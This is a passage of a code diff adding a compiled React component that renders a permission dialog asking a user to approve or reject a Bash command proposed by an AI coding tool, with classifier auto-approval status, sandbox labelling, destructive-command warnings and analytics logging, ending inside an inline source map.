+        toolUseConfirm.onAllow(toolUseConfirm.input, permissionUpdates);
+      }
+      onDone();
+      return;
+    }
+    switch (value_0) {
+      case 'yes':
+        {
+          const trimmedFeedback_0 = acceptFeedback.trim();
+          logUnaryPermissionEvent('tool_use_single', toolUseConfirm, 'accept');
+          // Log accept submission with feedback context
+          logEvent('tengu_accept_submitted', {
+            toolName: toolNameForAnalytics,
+            isMcp: toolUseConfirm.tool.isMcp ?? false,
+            has_instructions: !!trimmedFeedback_0,
+            instructions_length: trimmedFeedback_0.length,
+            entered_feedback_mode: yesFeedbackModeEntered
+          });
+          toolUseConfirm.onAllow(toolUseConfirm.input, [], trimmedFeedback_0 || undefined);
+          onDone();
+          break;
+        }
+      case 'yes-apply-suggestions':
+        {
+          logUnaryPermissionEvent('tool_use_single', toolUseConfirm, 'accept');
+          // Extract suggestions if present (works for both 'ask' and 'passthrough' behaviors)
+          const permissionUpdates_0 = 'suggestions' in toolUseConfirm.permissionResult ? toolUseConfirm.permissionResult.suggestions || [] : [];
+          toolUseConfirm.onAllow(toolUseConfirm.input, permissionUpdates_0);
+          onDone();
+          break;
+        }
+      case 'no':
+        {
+          const trimmedFeedback = rejectFeedback.trim();
+
+          // Log reject submission with feedback context
+          logEvent('tengu_reject_submitted', {
+            toolName: toolNameForAnalytics,
+            isMcp: toolUseConfirm.tool.isMcp ?? false,
+            has_instructions: !!trimmedFeedback,
+            instructions_length: trimmedFeedback.length,
+            entered_feedback_mode: noFeedbackModeEntered
+          });
+
+          // Process rejection (with or without feedback)
+          handleReject(trimmedFeedback || undefined);
+          break;
+        }
+    }
+  }
+  const classifierSubtitle = feature('BASH_CLASSIFIER') ? toolUseConfirm.classifierAutoApproved ? <Text>
+        <Text color="success">{figures.tick} Auto-approved</Text>
+        {toolUseConfirm.classifierMatchedRule && <Text dimColor>
+            {' \u00b7 matched "'}
+            {toolUseConfirm.classifierMatchedRule}
+            {'"'}
+          </Text>}
+      </Text> : toolUseConfirm.classifierCheckInProgress ? <ClassifierCheckingSubtitle /> : classifierWasChecking ? <Text dimColor>Requires manual approval</Text> : undefined : undefined;
+  return <PermissionDialog workerBadge={workerBadge} title={sandboxingEnabled_0 && !isSandboxed_0 ? 'Bash command (unsandboxed)' : 'Bash command'} subtitle={classifierSubtitle}>
+      <Box flexDirection="column" paddingX={2} paddingY={1}>
+        <Text dimColor={explainerState.visible}>
+          {BashTool.renderToolUseMessage({
+          command,
+          description
+        }, {
+          theme,
+          verbose: true
+        } // always show the full command
+        )}
+        </Text>
+        {!explainerState.visible && <Text dimColor>{toolUseConfirm.description}</Text>}
+        <PermissionExplainerContent visible={explainerState.visible} promise={explainerState.promise} />
+      </Box>
+      {showPermissionDebug ? <>
+          <PermissionDecisionDebugInfo permissionResult={toolUseConfirm.permissionResult} toolName="Bash" />
+          {toolUseContext.options.debug && <Box justifyContent="flex-end" marginTop={1}>
+              <Text dimColor>Ctrl-D to hide debug info</Text>
+            </Box>}
+        </> : <>
+          <Box flexDirection="column">
+            <PermissionRuleExplanation permissionResult={toolUseConfirm.permissionResult} toolType="command" />
+            {destructiveWarning_0 && <Box marginBottom={1}>
+                <Text color="warning" dimColor={feature('BASH_CLASSIFIER') ? toolUseConfirm.classifierAutoApproved : false}>
+                  {destructiveWarning_0}
+                </Text>
+              </Box>}
+            <Text dimColor={feature('BASH_CLASSIFIER') ? toolUseConfirm.classifierAutoApproved : false}>
+              Do you want to proceed?
+            </Text>
+            <Select options={feature('BASH_CLASSIFIER') ? toolUseConfirm.classifierAutoApproved ? options.map(o => ({
+          ...o,
+          disabled: true
+        })) : options : options} isDisabled={feature('BASH_CLASSIFIER') ? toolUseConfirm.classifierAutoApproved : false} inlineDescriptions onChange={onSelect} onCancel={() => handleReject()} onFocus={handleFocus} onInputModeToggle={handleInputModeToggle} />
+          </Box>
+          <Box justifyContent="space-between" marginTop={1}>
+            <Text dimColor>
+              Esc to cancel
+              {(focusedOption === 'yes' && !yesInputMode || focusedOption === 'no' && !noInputMode) && ' · Tab to amend'}
+              {explainerState.enabled && ` · ctrl+e to ${explainerState.visible ? 'hide' : 'explain'}`}
+            </Text>
+            {toolUseContext.options.debug && <Text dimColor>Ctrl+d to show debug info</Text>}
+          </Box>
+        </>}
+    </PermissionDialog>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmZWF0dXJlIiwiZmlndXJlcyIsIlJlYWN0IiwidXNlQ2FsbGJhY2siLCJ1c2VFZmZlY3QiLCJ1c2VNZW1vIiwidXNlUmVmIiwidXNlU3RhdGUiLCJCb3giLCJUZXh0IiwidXNlVGhlbWUiLCJ1c2VLZXliaW5kaW5nIiwiZ2V0RmVhdHVyZVZhbHVlX0NBQ0hFRF9NQVlfQkVfU1RBTEUiLCJBbmFseXRpY3NNZXRhZGF0YV9JX1ZFUklGSUVEX1RISVNfSVNfTk9UX0NPREVfT1JfRklMRVBBVEhTIiwibG9nRXZlbnQiLCJzYW5pdGl6ZVRvb2xOYW1lRm9yQW5hbHl0aWNzIiwidXNlQXBwU3RhdGUiLCJCYXNoVG9vbCIsImdldEZpcnN0V29yZFByZWZpeCIsImdldFNpbXBsZUNvbW1hbmRQcmVmaXgiLCJnZXREZXN0cnVjdGl2ZUNvbW1hbmRXYXJuaW5nIiwicGFyc2VTZWRFZGl0Q29tbWFuZCIsInNob3VsZFVzZVNhbmRib3giLCJnZXRDb21wb3VuZENvbW1hbmRQcmVmaXhlc1N0YXRpYyIsImNyZWF0ZVByb21wdFJ1bGVDb250ZW50IiwiZ2VuZXJhdGVHZW5lcmljRGVzY3JpcHRpb24iLCJnZXRCYXNoUHJvbXB0QWxsb3dEZXNjcmlwdGlvbnMiLCJpc0NsYXNzaWZpZXJQZXJtaXNzaW9uc0VuYWJsZWQiLCJleHRyYWN0UnVsZXMiLCJQZXJtaXNzaW9uVXBkYXRlIiwiU2FuZGJveE1hbmFnZXIiLCJTZWxlY3QiLCJTaGltbWVyQ2hhciIsInVzZVNoaW1tZXJBbmltYXRpb24iLCJVbmFyeUV2ZW50IiwidXNlUGVybWlzc2lvblJlcXVlc3RMb2dnaW5nIiwiUGVybWlzc2lvbkRlY2lzaW9uRGVidWdJbmZvIiwiUGVybWlzc2lvbkRpYWxvZyIsIlBlcm1pc3Npb25FeHBsYWluZXJDb250ZW50IiwidXNlUGVybWlzc2lvbkV4cGxhaW5lclVJIiwiUGVybWlzc2lvblJlcXVlc3RQcm9wcyIsIlBlcm1pc3Npb25SdWxlRXhwbGFuYXRpb24iLCJTZWRFZGl0UGVybWlzc2lvblJlcXVlc3QiLCJ1c2VTaGVsbFBlcm1pc3Npb25GZWVkYmFjayIsImxvZ1VuYXJ5UGVybWlzc2lvbkV2ZW50IiwiYmFzaFRvb2xVc2VPcHRpb25zIiwiQ0hFQ0tJTkdfVEVYVCIsIkNsYXNzaWZpZXJDaGVja2luZ1N1YnRpdGxlIiwiJCIsIl9jIiwicmVmIiwiZ2xpbW1lckluZGV4IiwidDAiLCJTeW1ib2wiLCJmb3IiLCJ0MSIsIm1hcCIsImNoYXIiLCJpIiwidDIiLCJCYXNoUGVybWlzc2lvblJlcXVlc3QiLCJwcm9wcyIsInRvb2xVc2VDb25maXJtIiwidG9vbFVzZUNvbnRleHQiLCJvbkRvbmUiLCJvblJlamVjdCIsInZlcmJvc2UiLCJ3b3JrZXJCYWRnZSIsImNvbW1hbmQiLCJkZXNjcmlwdGlvbiIsImlucHV0IiwiaW5wdXRTY2hlbWEiLCJwYXJzZSIsInNlZEluZm8iLCJCYXNoUGVybWlzc2lvblJlcXVlc3RJbm5lciIsIl92ZXJib3NlIiwiUmVhY3ROb2RlIiwidGhlbWUiLCJ0b29sUGVybWlzc2lvbkNvbnRleHQiLCJzIiwiZXhwbGFpbmVyU3RhdGUiLCJ0b29sTmFtZSIsInRvb2wiLCJuYW1lIiwidG9vbElucHV0IiwidG9vbERlc2NyaXB0aW9uIiwibWVzc2FnZXMiLCJ5ZXNJbnB1dE1vZGUiLCJub0lucHV0TW9kZSIsInllc0ZlZWRiYWNrTW9kZUVudGVyZWQiLCJub0ZlZWRiYWNrTW9kZUVudGVyZWQiLCJhY2NlcHRGZWVkYmFjayIsInJlamVjdEZlZWRiYWNrIiwic2V0QWNjZXB0RmVlZGJhY2siLCJzZXRSZWplY3RGZWVkYmFjayIsImZvY3VzZWRPcHRpb24iLCJoYW5kbGVJbnB1dE1vZGVUb2dnbGUiLCJoYW5kbGVSZWplY3QiLCJoYW5kbGVGb2N1cyIsImV4cGxhaW5lclZpc2libGUiLCJ2aXNpYmxlIiwic2hvd1Blcm1pc3Npb25EZWJ1ZyIsInNldFNob3dQZXJtaXNzaW9uRGVidWciLCJjbGFzc2lmaWVyRGVzY3JpcHRpb24iLCJzZXRDbGFzc2lmaWVyRGVzY3JpcHRpb24iLCJpbml0aWFsQ2xhc3NpZmllckRlc2NyaXB0aW9uRW1wdHkiLCJzZXRJbml0aWFsQ2xhc3NpZmllckRlc2NyaXB0aW9uRW1wdHkiLCJ0cmltIiwiYWJvcnRDb250cm9sbGVyIiwiQWJvcnRDb250cm9sbGVyIiwic2lnbmFsIiwidGhlbiIsImdlbmVyaWMiLCJhYm9ydGVkIiwiY2F0Y2giLCJhYm9ydCIsImlzQ29tcG91bmQiLCJwZXJtaXNzaW9uUmVzdWx0IiwiZGVjaXNpb25SZWFzb24iLCJ0eXBlIiwiZWRpdGFibGVQcmVmaXgiLCJzZXRFZGl0YWJsZVByZWZpeCIsImJhY2tlbmRCYXNoUnVsZXMiLCJzdWdnZXN0aW9ucyIsInVuZGVmaW5lZCIsImZpbHRlciIsInIiLCJydWxlQ29udGVudCIsImxlbmd0aCIsInR3byIsIm9uZSIsImhhc1VzZXJFZGl0ZWRQcmVmaXgiLCJvbkVkaXRhYmxlUHJlZml4Q2hhbmdlIiwidmFsdWUiLCJjdXJyZW50IiwiY2FuY2VsbGVkIiwic3ViY21kIiwiaXNSZWFkT25seSIsInByZWZpeGVzIiwiY2xhc3NpZmllcldhc0NoZWNraW5nIiwiY2xhc3NpZmllckNoZWNrSW5Qcm9ncmVzcyIsImRlc3RydWN0aXZlV2FybmluZyIsInNhbmRib3hpbmdFbmFibGVkIiwiaXNTYW5kYm94ZWQiLCJpc1NhbmRib3hpbmdFbmFibGVkIiwidW5hcnlFdmVudCIsImNvbXBsZXRpb25fdHlwZSIsImxhbmd1YWdlX25hbWUiLCJleGlzdGluZ0FsbG93RGVzY3JpcHRpb25zIiwib3B0aW9ucyIsImJlaGF2aW9yIiwib25SZWplY3RGZWVkYmFja0NoYW5nZSIsIm9uQWNjZXB0RmVlZGJhY2tDaGFuZ2UiLCJvbkNsYXNzaWZpZXJEZXNjcmlwdGlvbkNoYW5nZSIsImhhbmRsZVRvZ2dsZURlYnVnIiwicHJldiIsImNvbnRleHQiLCJoYW5kbGVEaXNtaXNzQ2hlY2ttYXJrIiwib25EaXNtaXNzQ2hlY2ttYXJrIiwiaXNBY3RpdmUiLCJjbGFzc2lmaWVyQXV0b0FwcHJvdmVkIiwib25TZWxlY3QiLCJvcHRpb25JbmRleCIsIlJlY29yZCIsInllcyIsIm5vIiwib3B0aW9uX2luZGV4IiwiZXhwbGFpbmVyX3Zpc2libGUiLCJ0b29sTmFtZUZvckFuYWx5dGljcyIsInRyaW1tZWRQcmVmaXgiLCJvbkFsbG93IiwicHJlZml4VXBkYXRlcyIsInJ1bGVzIiwiZGVzdGluYXRpb24iLCJ0cmltbWVkRGVzY3JpcHRpb24iLCJwZXJtaXNzaW9uVXBkYXRlcyIsInRyaW1tZWRGZWVkYmFjayIsImlzTWNwIiwiaGFzX2luc3RydWN0aW9ucyIsImluc3RydWN0aW9uc19sZW5ndGgiLCJlbnRlcmVkX2ZlZWRiYWNrX21vZGUiLCJjbGFzc2lmaWVyU3VidGl0bGUiLCJ0aWNrIiwiY2xhc3NpZmllck1hdGNoZWRSdWxlIiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJwcm9taXNlIiwiZGVidWciLCJvIiwiZGlzYWJsZWQiLCJlbmFibGVkIl0sInNvdXJjZXMiOlsiQmFzaFBlcm1pc3Npb25SZXF1ZXN0LnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgeyBmZWF0dXJlIH0gZnJvbSAnYnVuOmJ1bmRsZSdcbmltcG9ydCBmaWd1cmVzIGZyb20gJ2ZpZ3VyZXMnXG5pbXBvcnQgUmVhY3QsIHsgdXNlQ2FsbGJhY2ssIHVzZUVmZmVjdCwgdXNlTWVtbywgdXNlUmVmLCB1c2VTdGF0ZSB9IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgQm94LCBUZXh0LCB1c2VUaGVtZSB9IGZyb20gJy4uLy4uLy4uL2luay5qcydcbmltcG9ydCB7IHVzZUtleWJpbmRpbmcgfSBmcm9tICcuLi8uLi8uLi9rZXliaW5kaW5ncy91c2VLZXliaW5kaW5nLmpzJ1xuaW1wb3J0IHsgZ2V0RmVhdHVyZVZhbHVlX0NBQ0hFRF9NQVlfQkVfU1RBTEUgfSBmcm9tICcuLi8uLi8uLi9zZXJ2aWNlcy9hbmFseXRpY3MvZ3Jvd3RoYm9vay5qcydcbmltcG9ydCB7XG4gIHR5cGUgQW5hbHl0aWNzTWV0YWRhdGFfSV9WRVJJRklFRF9USElTX0lTX05PVF9DT0RFX09SX0ZJTEVQQVRIUyxcbiAgbG9nRXZlbnQsXG59IGZyb20gJy4uLy4uLy4uL3NlcnZpY2VzL2FuYWx5dGljcy9pbmRleC5qcydcbmltcG9ydCB7IHNhbml0aXplVG9vbE5hbWVGb3JBbmFseXRpY3MgfSBmcm9tICcuLi8uLi8uLi9zZXJ2aWNlcy9hbmFseXRpY3MvbWV0YWRhdGEuanMnXG5pbXBvcnQgeyB1c2VBcHBTdGF0ZSB9IGZyb20gJy4uLy4uLy4uL3N0YXRlL0FwcFN0YXRlLmpzJ1xuaW1wb3J0IHsgQmFzaFRvb2wgfSBmcm9tICcuLi8uLi8uLi90b29scy9CYXNoVG9vbC9CYXNoVG9vbC5qcydcbmltcG9ydCB7XG4gIGdldEZpcnN0V29yZFByZWZpeCxcbiAgZ2V0U2ltcGxlQ29tbWFuZFByZWZpeCxcbn0gZnJvbSAnLi4vLi4vLi4vdG9vbHMvQmFzaFRvb2wvYmFzaFBlcm1pc3Npb25zLmpzJ1xuaW1wb3J0IHsgZ2V0RGVzdHJ1Y3RpdmVDb21tYW5kV2FybmluZyB9IGZyb20gJy4uLy4uLy4uL3Rvb2xzL0Jhc2hUb29sL2Rlc3RydWN0aXZlQ29tbWFuZFdhcm5pbmcuanMnXG5pbXBvcnQgeyBwYXJzZVNlZEVkaXRDb21tYW5kIH0gZnJvbSAnLi4vLi4vLi4vdG9vbHMvQmFzaFRvb2wvc2VkRWRpdFBhcnNlci5qcydcbmltcG9ydCB7IHNob3VsZFVzZVNhbmRib3ggfSBmcm9tICcuLi8uLi8uLi90b29scy9CYXNoVG9vbC9zaG91bGRVc2VTYW5kYm94LmpzJ1xuaW1wb3J0IHsgZ2V0Q29tcG91bmRDb21tYW5kUHJlZml4ZXNTdGF0aWMgfSBmcm9tICcuLi8uLi8uLi91dGlscy9iYXNoL3ByZWZpeC5qcydcbmltcG9ydCB7XG4gIGNyZWF0ZVByb21wdFJ1bGVDb250ZW50LFxuICBnZW5lcmF0ZUdlbmVyaWNEZXNjcmlwdGlvbixcbiAgZ2V0QmFzaFByb21wdEFsbG93RGVzY3JpcHRpb25zLFxuICBpc0NsYXNzaWZpZXJQZXJtaXNzaW9uc0VuYWJsZWQsXG59IGZyb20gJy4uLy4uLy4uL3V0aWxzL3Blcm1pc3Npb25zL2Jhc2hDbGFzc2lmaWVyLmpzJ1xuaW1wb3J0IHsgZXh0cmFjdFJ1bGVzIH0gZnJvbSAnLi4vLi4vLi4vdXRpbHMvcGVybWlzc2lvbnMvUGVybWlzc2lvblVwZGF0ZS5qcydcbmltcG9ydCB0eXBlIHsgUGVybWlzc2lvblVwZGF0ZSB9IGZyb20gJy4uLy4uLy4uL3V0aWxzL3Blcm1pc3Npb25zL1Blcm1pc3Npb25VcGRhdGVTY2hlbWEuanMnXG5pbXBvcnQgeyBTYW5kYm94TWFuYWdlciB9IGZyb20gJy4uLy4uLy4uL3V0aWxzL3NhbmRib3gvc2FuZGJveC1hZGFwdGVyLmpzJ1xuaW1wb3J0IHsgU2VsZWN0IH0gZnJvbSAnLi4vLi4vQ3VzdG9tU2VsZWN0L3NlbGVjdC5qcydcbmltcG9ydCB7IFNoaW1tZXJDaGFyIH0gZnJvbSAnLi4vLi4vU3Bpbm5lci9TaGltbWVyQ2hhci5qcydcbmltcG9ydCB7IHVzZVNoaW1tZXJBbmltYXRpb24gfSBmcm9tICcuLi8uLi9TcGlubmVyL3VzZVNoaW1tZXJBbmltYXRpb24uanMnXG5pbXBvcnQgeyB0eXBlIFVuYXJ5RXZlbnQsIHVzZVBlcm1pc3Npb25SZXF1ZXN0TG9nZ2luZyB9IGZyb20gJy4uL2hvb2tzLmpzJ1xuaW1wb3J0IHsgUGVybWlzc2lvbkRlY2lzaW9uRGVidWdJbmZvIH0gZnJvbSAnLi4vUGVybWlzc2lvbkRlY2lzaW9uRGVidWdJbmZvLmpzJ1xuaW1wb3J0IHsgUGVybWlzc2lvbkRpYWxvZyB9IGZyb20gJy4uL1Blcm1pc3Npb25EaWFsb2cuanMnXG5pbXBvcnQge1xuICBQZXJtaXNzaW9uRXhwbGFpbmVyQ29udGVudCxcbiAgdXNlUGVybWlzc2lvbkV4cGxhaW5lclVJLFxufSBmcm9tICcuLi9QZXJtaXNzaW9uRXhwbGFuYXRpb24uanMnXG5pbXBvcnQgdHlwZSB7IFBlcm1pc3Npb25SZXF1ZXN0UHJvcHMgfSBmcm9tICcuLi9QZXJtaXNzaW9uUmVxdWVzdC5qcydcbmltcG9ydCB7IFBlcm1pc3Npb25SdWxlRXhwbGFuYXRpb24gfSBmcm9tICcuLi9QZXJtaXNzaW9uUnVsZUV4cGxhbmF0aW9uLmpzJ1xuaW1wb3J0IHsgU2VkRWRpdFBlcm1pc3Npb25SZXF1ZXN0IH0gZnJvbSAnLi4vU2VkRWRpdFBlcm1pc3Npb25SZXF1ZXN0L1NlZEVkaXRQZXJtaXNzaW9uUmVxdWVzdC5qcydcbmltcG9ydCB7IHVzZVNoZWxsUGVybWlzc2lvbkZlZWRiYWNrIH0gZnJvbSAnLi4vdXNlU2hlbGxQZXJtaXNzaW9uRmVlZGJhY2suanMnXG5pbXBvcnQgeyBsb2dVbmFyeVBlcm1pc3Npb25FdmVudCB9IGZyb20gJy4uL3V0aWxzLmpzJ1xuaW1wb3J0IHsgYmFzaFRvb2xVc2VPcHRpb25zIH0gZnJvbSAnLi9iYXNoVG9vbFVzZU9wdGlvbnMuanMnXG5cbmNvbnN0IENIRUNLSU5HX1RFWFQgPSAnQXR0ZW1wdGluZyB0byBhdXRvLWFwcHJvdmVcXHUyMDI2J1xuXG4vLyBJc29sYXRlcyB0aGUgMjBmcHMgc2hpbW1lciBjbG9jayBmcm9tIEJhc2hQZXJtaXNzaW9uUmVxdWVzdElubmVyLiBCZWZvcmUgdGhpc1xuLy8gZXh0cmFjdGlvbiwgdXNlU2hpbW1lckFuaW1hdGlvbiBsaXZlZCBpbnNpZGUgdGhlIDUzNS1saW5lIElubmVyIGJvZHksIHNvIGV2ZXJ5XG4vLyA1MG1zIGNsb2NrIHRpY2sgcmUtcmVuZGVyZWQgdGhlIGVudGlyZSBkaWFsb2cgKFBlcm1pc3Npb25EaWFsb2cgKyBTZWxlY3QgK1xuLy8gYWxsIGNoaWxkcmVuKSBmb3IgdGhlIH4xLTMgc2Vjb25kcyB0aGUgY2xhc3NpZmllciB0eXBpY2FsbHkgdGFrZXMuIElubmVyIGFsc29cbi8vIGhhcyBhIENvbXBpbGVyIGJhaWxvdXQgKHNlZSBiZWxvdyksIHNvIG5vdGhpbmcgd2FzIGF1dG8tbWVtb2l6ZWQg4oCUIHRoZSBmdWxsXG4vLyBKU1ggdHJlZSB3YXMgcmVjb25zdHJ1Y3RlZCAyMC02MCB0aW1lcyBwZXIgY2xhc3NpZmllciBjaGVjay5cbmZ1bmN0aW9uIENsYXNzaWZpZXJDaGVja2luZ1N1YnRpdGxlKCk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IFtyZWYsIGdsaW1tZXJJbmRleF0gPSB1c2VTaGltbWVyQW5pbWF0aW9uKFxuICAgICdyZXF1ZXN0aW5nJyxcbiAgICBDSEVDS0lOR19URVhULFxuICAgIGZhbHNlLFxuICApXG4gIHJldHVybiAoXG4gICAgPEJveCByZWY9e3JlZn0+XG4gICAgICA8VGV4dD5cbiAgICAgICAge1suLi5DSEVDS0lOR19URVhUXS5tYXAoKGNoYXIsIGkpID0+IChcbiAgICAgICAgICA8U2hpbW1lckNoYXJcbiAgICAgICAgICAgIGtleT17aX1cbiAgICAgICAgICAgIGNoYXI9e2NoYXJ9XG4gICAgICAgICAgICBpbmRleD17aX1cbiAgICAgICAgICAgIGdsaW1tZXJJbmRleD17Z2xpbW1lckluZGV4fVxuICAgICAgICAgICAgbWVzc2FnZUNvbG9yPVwiaW5hY3RpdmVcIlxuICAgICAgICAgICAgc2hpbW1lckNvbG9yPVwic3VidGxlXCJcbiAgICAgICAgICAvPlxuICAgICAgICApKX1cbiAgICAgIDwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG5leHBvcnQgZnVuY3Rpb24gQmFzaFBlcm1pc3Npb25SZXF1ZXN0KFxuICBwcm9wczogUGVybWlzc2lvblJlcXVlc3RQcm9wcyxcbik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IHtcbiAgICB0b29sVXNlQ29uZmlybSxcbiAgICB0b29sVXNlQ29udGV4dCxcbiAgICBvbkRvbmUsXG4gICAgb25SZWplY3QsXG4gICAgdmVyYm9zZSxcbiAgICB3b3JrZXJCYWRnZSxcbiAgfSA9IHByb3BzXG5cbiAgY29uc3QgeyBjb21tYW5kLCBkZXNjcmlwdGlvbiB9ID0gQmFzaFRvb2wuaW5wdXRTY2hlbWEucGFyc2UoXG4gICAgdG9vbFVzZUNvbmZpcm0uaW5wdXQsXG4gIClcblxuICAvLyBEZXRlY3Qgc2VkIGluLXBsYWNlIGVkaXQgY29tbWFuZHMgYW5kIGRlbGVnYXRlIHRvIFNlZEVkaXRQZXJtaXNzaW9uUmVxdWVzdFxuICAvLyBUaGlzIHJlbmRlcnMgc2VkIGVkaXRzIGxpa2UgZmlsZSBlZGl0cyB3aXRoIGEgZGlmZiB2aWV3XG4gIGNvbnN0IHNlZEluZm8gPSBwYXJzZVNlZEVkaXRDb21tYW5kKGNvbW1hbmQpXG5cbiAgaWYgKHNlZEluZm8pIHtcbiAgICByZXR1cm4gKFxuICAgICAgPFNlZEVkaXRQZXJtaXNzaW9uUmVxdWVzdFxuICAgICAgICB0b29sVXNlQ29uZmlybT17dG9vbFVzZUNvbmZpcm19XG4gICAgICAgIHRvb2xVc2VDb250ZXh0PXt0b29sVXNlQ29udGV4dH1cbiAgICAgICAgb25Eb25lPXtvbkRvbmV9XG4gICAgICAgIG9uUmVqZWN0PXtvblJlamVjdH1cbiAgICAgICAgdmVyYm9zZT17dmVyYm9zZX1cbiAgICAgICAgd29ya2VyQmFkZ2U9e3dvcmtlckJhZGdlfVxuICAgICAgICBzZWRJbmZvPXtzZWRJbmZvfVxuICAgICAgLz5cbiAgICApXG4gIH1cblxuICAvLyBSZWd1bGFyIGJhc2ggY29tbWFuZCAtIHJlbmRlciB3aXRoIGhvb2tzXG4gIHJldHVybiAoXG4gICAgPEJhc2hQZXJtaXNzaW9uUmVxdWVzdElubmVyXG4gICAgICB0b29sVXNlQ29uZmlybT17dG9vbFVzZUNvbmZpcm19XG4gICAgICB0b29sVXNlQ29udGV4dD17dG9vbFVzZUNvbnRleHR9XG4gICAgICBvbkRvbmU9e29uRG9uZX1cbiAgICAgIG9uUmVqZWN0PXtvblJlamVjdH1cbiAgICAgIHZlcmJvc2U9e3ZlcmJvc2V9XG4gICAgICB3b3JrZXJCYWRnZT17d29ya2VyQmFkZ2V9XG4gICAgICBjb21tYW5kPXtjb21tYW5kfVxuICAgICAgZGVzY3JpcHRpb249e2Rlc2NyaXB0aW9ufVxuICAgIC8+XG4gIClcbn1cblxuLy8gSW5uZXIgY29tcG9uZW50IHRoYXQgdXNlcyBob29rcyAtIG9ubHkgY2FsbGVkIGZvciBub24tTUNQIENMSSBjb21tYW5kc1xuZnVuY3Rpb24gQmFzaFBlcm1pc3Npb25SZXF1ZXN0SW5uZXIoe1xuICB0b29sVXNlQ29uZmlybSxcbiAgdG9vbFVzZUNvbnRleHQsXG4gIG9uRG9uZSxcbiAgb25SZWplY3QsXG4gIHZlcmJvc2U6IF92ZXJib3NlLFxuICB3b3JrZXJCYWRnZSxcbiAgY29tbWFuZCxcbiAgZGVzY3JpcHRpb24sXG59OiBQZXJtaXNzaW9uUmVxdWVzdFByb3BzICYge1xuICBjb21tYW5kOiBzdHJpbmdcbiAgZGVzY3JpcHRpb24/OiBzdHJpbmdcbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBbdGhlbWVdID0gdXNlVGhlbWUoKVxuICBjb25zdCB0b29sUGVybWlzc2lvbkNvbnRleHQgPSB1c2VBcHBTdGF0ZShzID0+IHMudG9vbFBlcm1pc3Npb25Db250ZXh0KVxuICBjb25zdCBleHBsYWluZXJTdGF0ZSA9IHVzZVBlcm1pc3Npb25FeHBsYWluZXJVSSh7XG4gICAgdG9vbE5hbWU6IHRvb2xVc2VDb25maXJtLnRvb2wubmFtZSxcbiAgICB0b29sSW5wdXQ6IHRvb2xVc2VDb25maXJtLmlucHV0LFxuICAgIHRvb2xEZXNjcmlwdGlvbjogdG9vbFVzZUNvbmZpcm0uZGVzY3JpcHRpb24sXG4gICAgbWVzc2FnZXM6IHRvb2xVc2VDb250ZXh0Lm1lc3NhZ2VzLFxuICB9KVxuICBjb25zdCB7XG4gICAgeWVzSW5wdXRNb2RlLFxuICAgIG5vSW5wdXRNb2RlLFxuICAgIHllc0ZlZWRiYWNrTW9kZUVudGVyZWQsXG4gICAgbm9GZWVkYmFja01vZGVFbnRlcmVkLFxuICAgIGFjY2VwdEZlZWRiYWNrLFxuICAgIHJlamVjdEZlZWRiYWNrLFxuICAgIHNldEFjY2VwdEZlZWRiYWNrLFxuICAgIHNldFJlamVjdEZlZWRiYWNrLFxuICAgIGZvY3VzZWRPcHRpb24sXG4gICAgaGFuZGxlSW5wdXRNb2RlVG9nZ2xlLFxuICAgIGhhbmRsZVJlamVjdCxcbiAgICBoYW5kbGVGb2N1cyxcbiAgfSA9IHVzZVNoZWxsUGVybWlzc2lvbkZlZWRiYWNrKHtcbiAgICB0b29sVXNlQ29uZmlybSxcbiAgICBvbkRvbmUsXG4gICAgb25SZWplY3QsXG4gICAgZXhwbGFpbmVyVmlzaWJsZTogZXhwbGFpbmVyU3RhdGUudmlzaWJsZSxcbiAgfSlcbiAgY29uc3QgW3Nob3dQZXJtaXNzaW9uRGVidWcsIHNldFNob3dQZXJtaXNzaW9uRGVidWddID0gdXNlU3RhdGUoZmFsc2UpXG4gIGNvbnN0IFtjbGFzc2lmaWVyRGVzY3JpcHRpb24sIHNldENsYXNzaWZpZXJEZXNjcmlwdGlvbl0gPSB1c2VTdGF0ZShcbiAgICBkZXNjcmlwdGlvbiB8fCAnJyxcbiAgKVxuICAvLyBUcmFjayB3aGV0aGVyIHRoZSBpbml0aWFsIGRlc2NyaXB0aW9uIChmcm9tIHByb3Agb3IgYXN5bmMgZ2VuZXJhdGlvbikgd2FzIGVtcHR5LlxuICAvLyBPbmNlIHdlIHJlY2VpdmUgYSBub24tZW1wdHkgZGVzY3JpcHRpb24sIHRoaXMgc3RheXMgZmFsc2UuXG4gIGNvbnN0IFtcbiAgICBpbml0aWFsQ2xhc3NpZmllckRlc2NyaXB0aW9uRW1wdHksXG4gICAgc2V0SW5pdGlhbENsYXNzaWZpZXJEZXNjcmlwdGlvbkVtcHR5LFxuICBdID0gdXNlU3RhdGUoIWRlc2NyaXB0aW9uPy50cmltKCkpXG5cbiAgLy8gQXN5bmNocm9ub3VzbHkgZ2VuZXJhdGUgYSBnZW5lcmljIGRlc2NyaXB0aW9uIGZvciB0aGUgY2xhc3NpZmllclxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIGlmICghaXNDbGFzc2lmaWVyUGVybWlzc2lvbnNFbmFibGVkKCkpIHJldHVyblxuXG4gICAgY29uc3QgYWJvcnRDb250cm9sbGVyID0gbmV3IEFib3J0Q29udHJvbGxlcigpXG4gICAgZ2VuZXJhdGVHZW5lcmljRGVzY3JpcHRpb24oY29tbWFuZCwgZGVzY3JpcHRpb24sIGFib3J0Q29udHJvbGxlci5zaWduYWwpXG4gICAgICAudGhlbihnZW5lcmljID0+IHtcbiAgICAgICAgaWYgKGdlbmVyaWMgJiYgIWFib3J0Q29udHJvbGxlci5zaWduYWwuYWJvcnRlZCkge1xuICAgICAgICAgIHNldENsYXNzaWZpZXJEZXNjcmlwdGlvbihnZW5lcmljKVxuICAgICAgICAgIHNldEluaXRpYWxDbGFzc2lmaWVyRGVzY3JpcHRpb25FbXB0eShmYWxzZSlcbiAgICAgICAgfVxuICAgICAgfSlcbiAgICAgIC5jYXRjaCgoKSA9PiB7fSkgLy8gS2VlcCBvcmlnaW5hbCBvbiBlcnJvclxuICAgIHJldHVybiAoKSA9PiBhYm9ydENvbnRyb2xsZXIuYWJvcnQoKVxuICB9LCBb